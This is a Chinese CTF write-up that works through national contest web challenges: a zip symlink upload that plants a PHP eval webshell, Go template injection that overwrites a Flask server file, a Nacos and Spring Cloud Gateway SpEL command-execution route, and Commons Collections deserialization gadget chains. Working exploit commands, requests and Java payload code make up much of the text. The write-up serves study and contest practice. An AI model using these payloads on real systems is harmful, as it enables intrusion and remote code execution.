最近几个月在学免杀,JAVA安全以及JS相关内容,导致CTF摆了很久,这次复现国赛题目就当做恢复训练了

Unzip

文件上传界面,随便上传个文件,回显了源码

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

程序逻辑是进入到/tmp里,解压我们上传的文件。那么可以上传一个带有一句话木马的zip包,然后解压,但是要考虑到如何让其解压到我们可以访问的目录下。

尝试通过修改压缩包中的文件名来实现路径穿越

准备设置文件名为../a,这里提前设置正常文件名为4个字符,就不用动压缩包的其他部分了

传到虚拟机里尝试解压,触发了告警忽略了../,说明此路不通

查找资料,发现有一篇文章中的题目考察了unzip相关内容

2021深育杯线上初赛官方WriteUp - 先知社区

利用思路很巧妙,他是先上传一个zip,其中压缩了一个链接到/var/www/html的软链接test。然后,再上传一个zip,这次的zip中含有一个正常的文件夹test,里面有一句话木马的php文件。

第一次解压,会在tmp目录下产生一个软链接test。在第二次解压时,因为存在同名的文件(软链接test和正常文件夹test),此时解压程序会将test文件夹中的文件试图解压到已经存在的test中,而这个已经存在的test指向了/var/www/html,所以实际的解压位置就变成了/var/www/html。(这个思路真的十分巧妙,这也是安全的魅力所在)

接下来就是照猫画虎。

第一步,构建软链接,打包上传

1
2
ln -s /var/www/html mylink
zip -y 1.zip mylink

第二步,创建目录,编写一句话木马

1
2
mkdir mylink
echo "<?php eval(\$_POST['a']);?>" > mylink/1.php

第三步,打包上传

1
zip -r 2.zip mylink 

后面就是getshell标准步骤

go_session

给了3个路由,Index会给一个guest的cookie,Admin会调用pongo2引擎来渲染页面,猜测可能存在模板注入或者AST injection,这里先不管。

目光转向Flask路由,这个handler首先对session做验证,然后get本地的5000端口。

根据路由handler名字以及对应端口(flask默认端口为5000)猜测应该本地的flask的服务

尝试让服务端替我们访问debug页面/console

输入url:/flask?name=console,发现开启了debug模式

这里无法输入pin码,所以伪造pin码这条路被堵死了。

需要注意的是,SECRET 是一个由Werkzeug Debugge调试器生成的值。主要用于验证某些请求是否来自前端页面。和Flask内用于加密和验证session的key不同。

比如我们在交互式界面中输入了一行python代码,他实际会发送这样一个get请求,其中s就是SECRET变量

1
/console?&__debugger__=yes&cmd=os.popen("whoami").read()&frm=0&s=P8HZgYpd6yy8D9wrFnEO

但是flask对这种可能产生越权的行为进行了session验证,所以这道题目考查的是flask session的伪造,只不过从以前的冒充admin变成了冒充一个知晓pin码的用户。

在这个输入pin码的界面,如果输入正确的pin码,服务端会给我们set一个cookie,我们要伪造的就是这个cookie

要伪造cookie,首先必须知道这个cookie是如何生成的,找到Werkzeug的库目录

1
pip3 show Werkzeug

通过VSCODE的search功能,查找”__wzd“关键字,定位到了cookie生成代码

1
cookie_name = f"__wzd{h.hexdigest()[:20]}"

现在,让我们专注于cookie_name的生成过程:

  1. 初始化哈希对象:

    1
    h = hashlib.sha1()
  2. 收集可能是公开的信息: 这些信息是用于确保每个应用或每个环境生成的cookie名称都是独特的,但这些信息可能是公开的。

    1
    2
    3
    4
    5
    6
    codeprobably_public_bits = [
    username, # 当前的系统用户名
    modname, # 应用模块的名称
    getattr(app, "__name__", type(app).__name__), # 应用的名称
    getattr(mod, "__file__", None), # 应用模块的文件位置
    ]
  3. 收集私有信息: 这些信息被视为更加私有,并且不太可能在没有验证的调试页面中被公开。这增加了攻击者猜测cookie名称的难度。

    1
    private_bits = [str(uuid.getnode()), get_machine_id()]

    其中uuid.getnode()返回机器的硬件地址(MAC地址),而get_machine_id()返回特定于平台的唯一ID。

  4. 哈希所有的信息: 将所有上述信息串联并进行哈希,得到一个SHA1哈希值。

    1
    2
    3
    4
    5
    6
    7
    codefor bit in chain(probably_public_bits, private_bits):
    if not bit:
    continue
    if isinstance(bit, str):
    bit = bit.encode("utf-8")
    h.update(bit)
    h.update(b"cookiesalt")

    这里,chain(probably_public_bits, private_bits)函数将公开信息和私有信息合并为一个序列,然后这个序列中的每一项都被加入到哈希中。

    h.update(b"cookiesalt")添加了一个额外的“salt”值,以确保最终的哈希值是独特的。

  5. 生成cookie名称:

    1
    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    将哈希值转换为16进制的字符串形式,并从中取出前20个字符。然后,它前面添加了”__wzd”前缀来生成最终的cookie_name

再通过查找cookie_name关键字,找到set_cookie方法

通过观察可知,cookie的值是通过时间戳+pin码的hash,由”|”符号拼接而来的

再去看看验证逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def check_pin_trust(self, environ: WSGIEnvironment) -> bool | None:
"""Checks if the request passed the pin test. This returns `True` if the
request is trusted on a pin/cookie basis and returns `False` if not.
Additionally if the cookie's stored pin hash is wrong it will return
`None` so that appropriate action can be taken.
"""
if self.pin is None:
return True
val = parse_cookie(environ).get(self.pin_cookie_name)
if not val or "|" not in val:
return False
ts_str, pin_hash = val.split("|", 1)

try:
ts = int(ts_str)
except ValueError:
return False

if pin_hash != hash_pin(self.pin):
return None
return (time.time() - PIN_TIME) < ts

不难看出,由于时间戳是明文,所以伪造一个大一点的时间戳即可绕过检验。因为hash算法就在代码里,所以下后面就是如何找出伪造pin码的几个要素。

一般来说,需要通过报错来获取信息,但是不管对name怎么fuzz,由于传参限制都无法报错。看了其他师傅的wp后才发现,可以使得name参数为空来报错。。。。

报错信息中,有用的除了一些路径外,值得注意的是这几行

1
2
3
4
5
6
7
8
9
10
11
File "/app/server.py", line 7, in index

app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"

if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

无法ssti,也没什么用。

又坐牢了一段时间,无奈之下又只能瞅一瞅师傅们的wp,好家伙,原来SESSION_KEY是空的,逗人玩呢。

那就修改一下Admin的路由,用来获取admin的session

1
2
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)

拿着伪造的session去访问靶机的admin路由,提示我们用ssti,那就ssti

经过检验确实存在ssti,但这里不是python的ssti,是go的ssti,网上大多提到了{{.}}来获取全局变量,但对这道题来说没什么用

换个思路,既然ssti是代码执行的话,那就用go来进行RCE不就行了

但是xssWaf := html.EscapeString(name)会转义引号,所以payload里不能用引号,寻找思路类似于PHP的无字母数字RCE

**前面通过session伪造pin的思路不对或者太麻烦(因为没找到能不用引号的payload)**,思路转换为替换server.py文件,需要用到以下几个方法:

c.SaveUploadedFile(file *multipart.FileHeader, dst string)

保存上传的文件

c.FormFile(name string)

获取上传的文件

c.HandlerName()

获取正在处理的路由的处理函数名称,这里为main.Admin

c.Request.Referer():

获取Referer头

构造以下payload

1
c.SaveUploadedFile(c.FormFile(c.HandlerName()),c.Request.Referer())

最终HTTP请求体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
GET /admin?name=%7b%7bc.SaveUploadedFile(c.FormFile(c.HandlerName())%2cc.Request.Referer())%7d%7d HTTP/1.1
Host: d5d0420f-1268-449d-a3df-00307c395edd.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Referer: /app/server.py
Connection: close
Cookie: session-name=MTY5NzE4NjkzMHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwInXwlMhNgf5c-RWJSULVMGWSUrousqud2c8o96O0sDQ==;
Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 408

--AaB03x
Content-Disposition: form-data; name="main/route.Admin"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request, send_from_directory
import os
app = Flask(__name__)

@app.route('/a', methods=['GET'])
def read_file_content():

return os.popen("cat /th1s_1s_f13g").read()

if __name__ == '__main__':
app.run("0.0.0.0",5000,debug=True)

--AaB03x--


BackendService

靶机环境为NACOS,查找相关漏洞

Nacos(Dynamic Naming and Configuration Service)是一个开源的、易于使用的平台,为微服务架构提供了服务发现、服务配置以及服务管理功能。

找到一个身份认证漏洞,伪造JWT获取token,然后登录即可达到后台

这里要注意需要拦截登录后的第一个响应,然后Drop掉,否则会跳转到json页面,导致无法进入后台

Nacos 身份认证绕过漏洞QVD-2023-6271

找到了一个命令执行漏洞,但是尝试后无果。

又找到一篇利用SpringCloudGateway+Nacos进行RCE的文章

Nacos结合Spring Cloud Gateway RCE利用 - 先知社区

作者还贴心的附上了环境搭建步骤,所以我们要先搭建好环境

首先看附件里的bootstrap.yml

1
2
3
4
5
6
7
8
9
10
spring:
cloud:
nacos:
config:
name: backcfg
file-extension: yaml
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8848
discovery:
server-addr: 127.0.0.1:8848

这里的配置文件貌似给错了,因为wp里是json,端口是8888

对应的作用如下

属性 意义
spring.cloud.nacos.config.name Nacos配置的Data ID。它标识了配置的名称为backcfg
spring.cloud.nacos.config.file-extension 指定Nacos配置的文件格式。在这里,文件格式被设定为yaml
spring.cloud.nacos.config.group Nacos配置的组名。此处的组名被设定为DEFAULT_GROUP
spring.cloud.nacos.config.server-addr Nacos服务的地址和端口。此处意味着Nacos运行在本地127.0.0.1地址的8848端口上。
spring.cloud.nacos.discovery.server-addr Nacos服务发现功能的地址和端口。它也指向运行在127.0.0.1地址的8848端口的Nacos服务。

在这种情况下,Spring Cloud Gateway会去Nacos配置中心寻找一个名为backcfg的配置项,而这个配置项的格式是yaml。因此,Nacos要提供一个名为backcfg.yaml的文件内容给Spring Cloud Gateway。

所以我们需要先去配置管理->配置列表下增加一个新的配置文件,格式选为yaml,名称设置为backcfg。上传内容就是application.yaml中的内容

如果成功了,在监听查询中就会出现使用该配置的host信息

该yaml中的每个属性对应的作用如下:

属性 意义
spring.main.web-application-type 设置Spring Boot应用的类型为响应式。常用于WebFlux框架。
spring.application.name 定义应用的名称,此处为backendservice
server.port 定义Spring Boot应用监听的端口,此处为18888
management.endpoint.gateway.enabled 启用或禁用gateway端点,默认为true。用于获取网关的路由信息。
management.endpoints.web.exposure.include 指定哪些端点可以被暴露,此处只暴露了gateway端点。
management.endpoints.web.exposure.include (下面的) 指定哪些端点可以被暴露,此处使用*,表示暴露所有端点。
spring.main.allow-bean-definition-overriding 是否允许覆盖bean定义。当有多个bean定义时,此属性允许一个bean定义覆盖另一个。默认为false
spring.cloud.gateway.routes 定义Spring Cloud Gateway的路由信息。
spring.cloud.gateway.routes.id 每个路由的唯一标识,此处为index
spring.cloud.gateway.routes.uri 指定路由目标的URI。当请求匹配某个路由时,它会被转发到这个URI。此处为http://example.com
spring.cloud.gateway.routes.predicates 路由断言定义。决定哪些请求可以被路由。在这里,任何请求路径为/example的请求都会匹配到这个路由。

但这道题的环境原因导致spring gateway我们无法访问,所以通过添加路由来访问的上述方法无法利用。

顺着文章再往下看,发现可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://backendservice
predicates:
- Path=/echo/**
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{''}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

但是不知道为什么,wp里说是json格式,并且其他师傅的配置文件中是指明json,但我的靶机里就是yaml。。。

还有个坑点就是既然我们无法直接访问gateway来知道结果的话,一般来说就会用curl来判断是否成功rce,但这道题的靶机没有安装curl,所以我一直以为是哪里搞错了。。

这道题做完后其实感觉并不难,但是毕竟没有接触过微服务的人一开始做的话很难理解。所以我尽量去理解了spring gateway和nacos的原理,配置选项,以及他们如何实现联动的,感觉和JNDI的中心化管理思想很类似,还算是有点收获

deserbug

题目给出了commons-collections-3.2.2.jar,因为大于3.1版本,也不是4.0版本,所以不能直接使用经典的CC链,比如在InvokerTransformer类中的readObject加了一行

1
FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer);

其中,checkUnsafeSerialization方法会尝试获取系统变量enableUnsafeSerialization的值

1
System.getProperty("org.apache.commons.collections.enableUnsafeSerialization");

如果获取不到或者该系统变量不为true,则抛出异常UnsupportedOperationException

题目hint为:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

原本以为是要在JSONObject.put执行时通过添加重复key来抛出异常

1
throw new JSONException("Duplicate key \"{}\"", new Object[]{key});

然后通过捕获这个异常来进行利用,但我发现首先checkDuplicate这个值无法控制,并且在put中为false,所以无法抛出该异常,除此之外,即使捕获到了JSONException也无法进行后续利用

看了小绿草实验室的WP,从JSONObject的put方法开始,一步一步调试到某个类执行getter方法,通过getter方法触发getAnyexcept,也就是说,这个hint结合源码具有一定的迷惑性,会引导人的想法到通过触发异常来gadget

WP中使用的gadget如下:

1
2
HashMap->readObject()->hash()->TiedMapEntry()->hashCode()->getValue()->LazyMap()->get()->ConstantTransformer->transform()->JSONObject->put()->TrAXFilter->newTransformer()->getTransletInstance()->Evil.class.newInstance()
//当然,不止一个gadget,在后续会说到

这里就是经验的差距体现出来了,如果不熟练那几条CC链,这个gatget是凑不起来的,就比如hint提示要用JSONObject.put和getAnyexcept,我们肯定知道最终利用的是getAnyexcept来加载恶意类,类比fastjson,就要想到hutool的json也可能有类似getter和setter的机制(事后诸葛亮一下:) )

本题目要调用的getter如下:

getter调用

而如何能找到能够调用Myexpect的getter,WP上说是一步步调试的,但这个调试也得需要点技巧。原因在于wrap方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static Object wrap(Object object, JSONConfig jsonConfig) {
if (object == null) {
return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
} else if (!(object instanceof JSON) && !ObjectUtil.isNull(object) && !(object instanceof JSONString) && !(object instanceof CharSequence) && !(object instanceof Number) && !ObjectUtil.isBasicType(object)) {
try {
if (object instanceof SQLException) {
return object.toString();
} else if (!(object instanceof Iterable) && !ArrayUtil.isArray(object)) {
if (!(object instanceof Map) && !(object instanceof Map.Entry)) {
if (!(object instanceof Date) && !(object instanceof Calendar) && !(object instanceof TemporalAccessor)) {
if (object instanceof Enum) {
return object.toString();
} else {
return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject(object, jsonConfig);
}
} else {
return object;
}
} else {
return new JSONObject(object, jsonConfig);
}
} else {
return new JSONArray(object, jsonConfig);
}
} catch (Exception var3) {
return null;
}
} else {
return object instanceof Number && null != jsonConfig.getDateFormat() ? new NumberWithFormat((Number)object, jsonConfig.getDateFormat()) : object;
}
}

从这个方法中可以提取出isIgnoreNullValue()toString(),JSONArray(),getDateFormat(),getClass(),JSONObject()这几个方法,而这其中的一些方法还会嵌套其他方法,所以如果想挨个看的话很费精力。但我们可以初步淘汰几个,比如toString(),isIgnoreNullValue()这种稍微看一下就知道不能利用的。最后留下JSONObject()和JSONArray(),因为他们都会调用ObjectMapper.map()

1
2
3
4
5
6
7
8
9
10
11
//JSONArray.class
public JSONArray(Object object, JSONConfig jsonConfig, Filter<Mutable<Object>> filter) throws JSONException {
this(10, jsonConfig);
ObjectMapper.of(object).map(this, filter);
}

//JSONObject.class
public JSONObject(Object source, JSONConfig config, Filter<MutablePair<String, Object>> filter) {
this(16, config);
ObjectMapper.of(source).map(this, filter);
}

现在我们知道,既然hint提示需要调用JSONObject的put,而该类并没有readObject方法,故而需要找到一个能够调用任意类的put方法的链子作为gadget的一部分,而JSONObject正好也属于Map的实现类,从常用的反序列化类中,符合条件的就是LazyMap.get()

所以常见反序列化利用类需要很熟悉,否则很难想到这块

通过transform间接地实现控制value,并且key也是任意类型,但是在warp方法中,只传进了此方法中的value,再结合hint要利用Myexpect类的方法,猜测要将value赋值为Myexpect对象(这里可能有点牵强,但我也想不出其他更好的解释)。那么在上述的wrap方法中,如果传入的object是一个自定义的类,那么最终调用的就只能是new JSONObject(object, jsonConfig);,后续就会从ObjectMapper.class->map()->mapFromBean() ->······->PropDesc.class->getValue()执行myExpect.getAnyexcept()

那么剩下的就是从LazyMap向前拼gadget,可供选择的gadget如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//CC5 Gadget Chain:
BadAttributeValueExpException.readObject() -->
TiedMapEntry.toString() -->
LazyMap.get()

//CC6 Gadget Chain:
java.util.HashSet.readObject() -->
java.util.HashMap.put() -->
java.util.HashMap.hash() -->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() -->
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() -->
org.apache.commons.collections.map.LazyMap.get()

//CC7 Gadget Chain:
java.util.Hashtable.readObject -->
java.util.Hashtable.reconstitutionPut() -->
org.apache.commons.collections.map.AbstractMapDecorator.equals() -->
java.util.AbstractMap.equals() -->
org.apache.commons.collections.map.LazyMap.get()

CC5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
      ......
......
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]
{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new
TransformerFactoryImpl());
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});
JSONObject jsonObject = new JSONObject();


Transformer transformer = new ConstantTransformer(1);
Map innerMap = jsonObject;
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "k");
/*Map expMap = new HashMap();
expMap.put(tme, "valuevalue");*/
Reflection.setFieldValue(transformer, "iConstant", expect);
//CC5
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, tme);
//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(val);

System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
......
......

CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
......
......
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]
{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new
TransformerFactoryImpl());
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});
JSONObject jsonObject = new JSONObject();


Transformer transformer = new ConstantTransformer(1);
Map innerMap = jsonObject;
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "k");
/*Map expMap = new HashMap();
expMap.put(tme, "valuevalue");*/
Reflection.setFieldValue(transformer, "iConstant", expect);

//CC6
//这里不知道为什么需要设置这些HashSet的成员变量才能成功,这段时间忙着公考,忙完再把CC链仔细研究一遍
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, tme);
......
......

CC7

这道题目个人认为无法使用CC7进行gadget的拼凑

1
2
3
4
5
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

这是CC7中利用的HashSet的readObject结尾利用的方法,观察得知,需要HashSet的相邻2个成员的哈希值相同才能执行equals,原本CC7链中是这样构造的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
......
......
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

可以看出,通过精心构造使得lazyMap1和lazyMap2的哈希值相同,才触发了&&后的equals方法,但是对于这道题目需要这样构造

1
2
3
4
5
6
7
8
9
......
......
Map innerMap1 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformer);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(outerMap, 2);

由于本人水平有限或者在数学中没有方法,不知道如何让HashMap与LazyMap进行哈希碰撞,所以此题目可能无法使用CC7进行gadget generate

综上所属,本道题目至少有3种payload可用,其中2种为CC链拼凑,另外一种就是直接用HashMap作为入口,也就是首先提到的小绿茶实验室的WP所用的gadget

mysql_dump

这道题比较简单, 就是简单的用CR LF 逃逸然后命令拼接。当然也有其他方法。由于找不到题目源码,不复现了。